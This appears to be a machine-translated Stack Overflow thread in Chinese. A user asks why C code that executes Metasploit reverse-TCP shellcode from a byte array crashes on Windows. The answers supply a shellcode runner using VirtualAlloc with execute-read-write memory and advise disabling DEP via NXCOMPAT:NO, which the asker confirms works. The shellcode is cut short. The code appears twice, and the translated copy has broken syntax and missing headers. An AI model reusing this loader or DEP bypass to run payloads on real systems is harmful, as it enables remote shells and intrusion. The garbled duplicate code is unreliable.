在C中执行外壳代码(visual studio 2017

在C中执行外壳代码(visual studio 2017,c,windows,visual-studio,shellcode,metasploit,C,Windows,Visual Studio,Shellcode,Metasploit,我在尝试用C执行外壳代码时遇到了一个问题(一种基本的反向tcp,指向本地地址) 我使用以下代码从基础开始: #define WIN32_LEAN_AND_MEAN #include <stdlib.h> #include <stdio.h> #include <string.h> #include <windows.h> int main(int argc, char * argv[]) { unsigned char shellc

我在尝试用C执行外壳代码时遇到了一个问题(一种基本的反向tcp,指向本地地址)

我使用以下代码从基础开始:

#define WIN32_LEAN_AND_MEAN
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>



int main(int argc, char * argv[])
{

    unsigned char shellcode[] = \
        "\xfd\xab\xd2\xa9\xb1\x29\xe0\xdd\x38\x64\x51\x24\x9d\x0f\xdf"
        "\x8a\xc2\x01\x0d\x2e\x6c\x9b\x86\xa9\x2e\x6f\xd9\xb3\x04\x4a"
        "\x35\x1c\x0a\xc6\xe7\x18\xf4\xaf\x3e\xed\x4b\x5c\x1a\x08\x8b"
        "\x71\x27\x5e\x20\xd1\x4d\xaf\x8f\x2d\x23\xe1\x68\x25\xf3\x19"
        "\xd2\x7b\x5e\xca\x26\x2a\xc7\xa0\x98\x64\x72\x7b\x03\x05\xf0"
        "\x46\x03\xdf\x19\x86\xfb\x04\xd0\x7d\xd9\xf8\xa0\xfb\x8c\xa0"
        "\x2d\xb2\xcb\x7f\xde\x7c\xc4\xd4\xe6\x94\xde\x56\x81\x53\xfc"
        "\x59\xe3\xfc\xb6\x7d\x50\x7e\xde\x6d\xf0\x8a\x33\x35\x99\xfc"
        "\x66\x0c\x45\xf0\xdc\xcb\x49\x4d\xa1\x2f\xd7\xaf\x59\xdc\xcf"
        "\x90\x8b\xd3\x7c\xb7\x7e\x6f\xa8\x15\xe4\x1d\xfd\xc2\xe7\x9d"
        "\x15\x88\x8b\xfb\x3b\x30\x1d\x41\xe6\x22\xdf\x3f\x4f\xb8\xe3"
        "\x65\x0d\xa8\xc1\x0a\x2d\xe9\x77\x7d\x84\x83\xa7\xfc\x29\x80"
        "\x72\xcd\xcc\x68\xa1\x08\x35\xda\xba\x01\xe2\xe5\x01\xe9\x05"
        ;


    int(*ret)() = (int(*)())shellcode;
    ret();

}


return 1;
}
#定义WIN32_LEAN_和_MEAN
#包括
#包括
#包括
#包括
int main(int argc,char*argv[])
{
无符号字符外壳代码[]=\
“\xfd\xab\xd2\xa9\xb1\x29\xe0\xdd\x38\x64\x51\x24\x9d\x0f\xdf”
“\x8a\xc2\x01\x0d\x2e\x6c\x9b\x86\xa9\x2e\x6f\xd9\xb3\x04\x4a”
“\x35\x1c\x0a\xc6\xe7\x18\xf4\xaf\x3e\xed\x4b\x5c\x1a\x08\x8b”
“\x71\x27\x5e\x20\xd1\x4d\xaf\x8f\x2d\x23\xe1\x68\x25\xf3\x19”
“\xd2\x7b\x5e\xca\x26\x2a\xc7\xa0\x98\x64\x72\x7b\x03\x05\xf0”
“\x46\x03\xdf\x19\x86\xfb\x04\xd0\x7d\xd9\xf8\xa0\xfb\x8c\xa0”
“\x2d\xb2\xcb\x7f\xde\x7c\xc4\xd4\xe6\x94\xde\x56\x81\x53\xfc”
“\x59\xe3\xfc\xb6\x7d\x50\x7e\xde\x6d\xf0\x8a\x33\x35\x99\xfc”
“\x66\x0c\x45\xf0\xdc\xcb\x49\x4d\xa1\x2f\xd7\xaf\x59\xdc\xcf”
“\x90\x8b\xd3\x7c\xb7\x7e\x6f\xa8\x15\xe4\x1d\xfd\xc2\xe7\x9d”
“\x15\x88\x8b\xfb\x3b\x30\x1d\x41\xe6\x22\xdf\x3f\x4f\xb8\xe3”
“\x65\x0d\xa8\xc1\x0a\x2d\xe9\x77\x7d\x84\x83\xa7\xfc\x29\x80”
“\x72\xcd\xcc\x68\xa1\x08\x35\xda\xba\x01\xe2\xe5\x01\xe9\x05”
;
int(*ret)(=(int(*)()外壳代码;
ret();
}
返回1;
}
(我剪切了示例的外壳代码) 当我使用visual studio community 2017编译这个.c文件时,我得到了一些关于argv和argc的警告,这些警告没有被使用,并且在ret中从()转换为(void)

然后我尝试执行该文件,我得到一个很棒的“已停止工作”。 因此,我在visual studio中启动了调试,下面是我得到的结果:


这是一个访问冲突错误,但为什么呢?我在谷歌上搜索了一下,似乎这个错误有很多原因,但我不明白为什么会发生在我身上。

你通常不能在Windows上执行可执行文件的
.data
部分执行代码。发生访问冲突是因为你试图运行不可执行的代码


这是因为PE中的数据节是在没有执行权限的情况下分配的。请尝试此操作,并在链接器设置中禁用DEP(如果已设置)

#include <Windows.h>

int main()
{
    const char shellcode[] = ".......";   
    void *exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof(shellcode));
    ((void(*)())exec)(); ...
#包括
int main()
{
常量字符外壳代码[]=“…”;
void*exec=VirtualAlloc(0,sizeof(外壳代码),MEM\u COMMIT,PAGE\u EXECUTE\u READWRITE);
memcpy(exec、外壳代码、sizeof(外壳代码));
((无效(*)执行)执行)执行。。。

外壳代码是为您的平台设计的吗?…关于
argv
argc
的警告是无用的。它只是告诉您不要使用它们。您不妨编写
int main(void)
告诉我们有关此外壳代码的更多信息。它是什么?你从哪里获得的?你有源代码吗?如果有,请显示。问题出在外壳代码中。你试图在堆栈上执行一段代码-很可能堆栈页未标记为可执行。在Windows 95或98上尝试它-应该可以在那里工作。其他建议:步骤thr使用调试器通过汇编代码。你说得对!添加NXCOMPAT:NO以生成参数可以使文件正常运行!我现在将尝试使我的代码DEP兼容!非常感谢!@EinderJam-表示感谢的一个好方法是向上单击和/或接受答案。